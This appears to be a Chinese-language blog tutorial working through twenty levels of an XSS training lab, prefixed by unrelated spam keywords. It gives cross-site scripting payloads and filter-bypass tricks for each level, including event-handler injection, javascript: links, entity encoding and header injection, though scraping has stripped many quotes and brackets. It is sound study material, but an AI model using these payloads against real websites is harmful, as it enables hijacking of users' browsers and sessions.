宿迁建设企业网站,保护动物网站建设策划书,十大网站黄页免费,成都大型网站建设公司排名文章目录 前言level1level2level3level4level5level6level7level8level9level10level11level12level13level14level15level16level17level18level19level20 前言 赶着假期结尾的时候#xff0c;赶紧给自己找点任务做。现在对xss还是一知半解#xff0c;只是了解个大概level20 前言 赶着假期结尾的时候赶紧给自己找点任务做。现在对xss还是一知半解只是了解个大概js基础也不牢好好好真零基础 。那么只能一步步来写下这篇博客记录我xss的学习 level1
观察一下发现参数name的值可以修改 我们试试构造xss漏洞并验证
?namescriptalert(/xss/)/script成功执行
level2
点击确定进入关卡2页面如下有一个搜索输入框 输入测试过滤语句
script Oonn发现输入框script后面的双引号消失了 我们右键查看页面源代码观察闭合方式
我们这里可以看到在input的value值前面是有双引号
那么我们怎么样可以插入js代码呢 我们添加闭合前面的input的方式来绕过
payload
scriptalert(/xss/)/script网页执行结果
input namekeyword valuescriptalert(/xss/)/script成功绕过
level3
来到第三关老样子测试过滤语句
script Oonn发现单引号消失了右键查看页面源代码 发现闭合方式为单引号且大小于号和双引号被转义
这里运用事件触发xss 结合上一关我们修改payload onmouseoveralert(/xss/)网页执行结果
input namekeyword value onmouseoveralert(/xss/) 成功绕过 level4
到第四关先测试语句
发现大于号小于号被转义了和前一关一样用事件来触发 右键查看源代码闭合方式为双引号
payload onmouseoveralert(/xss/)成功绕过
level5
还是一样测试语句右键查看页面源代码 发现script和on开头的两个关键字都被转义大小于号和引号没有被过滤与转义。同时语句采用双引号闭合方式。
这里我们利用的方法是超链接注入 payload
a hrefjavascript:alert(/xss/)click me!/a解释 它创建了一个超链接a 标签并包含了 JavaScript 代码。在此代码中href 属性被设置为 javascript:alert(‘xss’)这意味着当用户点击该链接时将执行 JavaScript 代码 alert(‘xss’)。 搜索后再点击我们的超链接即可绕过 level6
这关输入测试语句后访问页面源代码 发现在script被转义 这里用的是大小写绕过 payload
SCriptalert(/xss/)/SCript成功绕过 level7
输入测试语句查看页面源代码 发现script被过滤第一个On也被过滤了眼尖实锤
结合第四关的绕过方式 我们稍作修改payload oonnmouseoveralert(/xss/)注oonn是为了绕过检测
成功绕过 level8
这一关就不像前面的回显输入结果我们只能右键查看源代码 发现大小于号和双引号被转义但是参数被传递到a标签的herf属性中大小于号被转义回来双引号还是被转义着、关键字被插入下划线单引号没事。
对此我们考虑注入href的伪协议 构造参数为 javascript:alert(/xss/)上传发现还是被添加下划线 那么我们只能对上传参数进行部分编码 这里用的是html实体编码我采用的是十六进制的 payload
javas#x0063;ript:alert(/xss/)解释 javascript 是一个将 JavaScript 字符串 javascript 中的字符 ‘s’ 使用实体编码表示的方式。在这个编码中c 表示字符 ‘c’ 的 Unicode 码点。 成功绕过 level9
还是输入测试代码点击友情链接 发现大小于号和双引号被转义了且链接不合法 猜测需要有http://字符串出现 修改上一关的payload
javas#x0063;ript:alert(http://)成功绕过 level10
上传测试语句发现没有变化查看源代码 发现大小于号和双引号被转义了同时出现三个未知参数 我们试试传入
?t_sortscript Oonn然后再右键查看源代码 发现只是过滤了大小于号这个我们可以用事件触发
payload
?t_sortclick me! typebutton onmouseoveralert(/xss/)页面执行结果
input namet_sort valueclick me! typebutton onmouseoveralert(/xss/) typehiddenlevel11
这一关和上一关差不多但是出现的四个参数只有t_sort有回显 仔细往下看问题就出现了这样我们需要用双引号进行闭合但是双引号被转义。尝试过对大小于号、双引号进行编码以求绕过发现还是不行。
那么我们转换下思路其他三个参数没有回显说不定不是通过url地址传递的可能是http请求的某部分 尝试在Referer添加测试语句 发现成功绕过并且没有出现过滤的信息 payload
referer:click me! typebutton onmouseoveralert(/xss/)level12
上传测试语句还是被转义 观察到参数t_ua的值为User Agent找到可以利用的点 用HackBar传参测试语句 发现只有大小于号被转义 所以我们像上题直接事件触发 payload
User Agentclick me! typebutton onmouseoveralert(/xss/)level13
右键源代码发现还是有四个未知参数 我们查看网络发现cookie值有线索 猜测应该是cookie值传参user实现构造xss漏洞 我们试试测试语句 发现还是大小于号被转义 payload
userclick me! typebutton onmouseoveralert(/xss/)level14
跟exif有关略
level15
题目源码
html ng-app
headmeta charsetutf-8script srcangular.min.js/script
script
window.alert function()
{
confirm(完成的不错);window.location.hreflevel16.php?keywordtest;
}
/script
title欢迎来到level15/title
/head
h1 aligncenter欢迎来到第15关自己想个办法走出去吧/h1
p aligncenterimg srclevel15.png/p
?php
ini_set(display_errors, 0);
$str $_GET[src];
echo bodyspan classng-include:.htmlspecialchars($str)./span/body;
?分析一下这里htmlspecialchars() 函数会把预定义的字符转换为 HTML 实体其中就包括大小于号然后还发现ng-include其作用相当于php的include函数
htmlspecialchars() 函数 把一些预定义的字符转换为 HTML 实体 预定义的字符是 和号成为 amp;双引号成为 quot;单引号成为 小于成为 lt;大于成为 gt;ng-include ng-include指令一般用于包含外部的 HTML文件ng-include属性的值可以是一个表达式返回一个文件名但是默认情况下包含的文件需要包含在同一个域名下。很有可能这个指令就是突破口所以我们可以包含一个有漏洞的页面 特别值得注意的几点如下
ng-include,如果单纯指定地址必须要加引号ng-include,加载外部htmlscript标签中的内容不执行ng-include,加载外部html中含有style标签样式可以识别
所以payload为
?srclevel1.php?namea hrefjavascript:alert(/xss/)注利用第一关的xss漏洞
level16
源代码
!DOCTYPE html!--STATUS OK--html
head
meta http-equivcontent-type contenttext/html;charsetutf-8
script
window.alert function()
{
confirm(完成的不错);window.location.hreflevel17.php?arg01aarg02b;
}
/script
title欢迎来到level16/title
/head
body
h1 aligncenter欢迎来到level16/h1
?php
ini_set(display_errors, 0);
$str strtolower($_GET[keyword]);
$str2str_replace(script,nbsp;,$str);
$str3str_replace( ,nbsp;,$str2);
$str4str_replace(/,nbsp;,$str3);
$str5str_replace( ,nbsp;,$str4);
echo center.$str5./center;
?
centerimg srclevel16.png/center
?php
echo h3 aligncenterpayload的长度:.strlen($str5)./h3;
?
/body
/html分析一下对我们上传的值进行替换 发现空格、反斜杠、script均被替换为空格因此考虑用%0A绕过空格
payload
?keywordimg%0asrc1.jpg%0aonerroralert(1)注onerror作用为加载图片失败后会触发 level17
源代码
!DOCTYPE html!--STATUS OK--html
head
meta http-equivcontent-type contenttext/html;charsetutf-8
script
window.alert function()
{
confirm(完成的不错);
}
/script
title欢迎来到level17/title
/head
body
h1 aligncenter欢迎来到level17/h1
?php
ini_set(display_errors, 0);
echo embed srcxsf01.swf?.htmlspecialchars($_GET[arg01])..htmlspecialchars($_GET[arg02]). width100% heigth100%;
?
h2 aligncenter成功后a hreflevel18.php?arg01aarg02b点我进入下一关/a/h2
/body
/html我们提交的参数在embed标签的src属性中这一关有两个参数arg01、arg02当我们发送的时候发现他们是会互相拼接起来的并且做了尖括号过滤那么我们可以加入一个属性进去生成恶意代码。embed标签就是引入一个swf文件【SWF格式是动画软件Flash的专用格式】到浏览器端并且它的src属性值不需要闭合
payload
?arg01 onclickarg02alert(xss)这里由于电脑配置问题swf文件显示不出来
level18
与上一关方法相同
level19level20
这两关涉及flash xss 常见的可触发xss的危险函数有 getURL navigateToURL ExternalInterface.call htmlText loadMovie等
要想知道这一关的是不是属于flash xss只需要对引用的swf文件进行反编译然后进行源码分析。反编译的工具是jpexs-decompiler 项目地址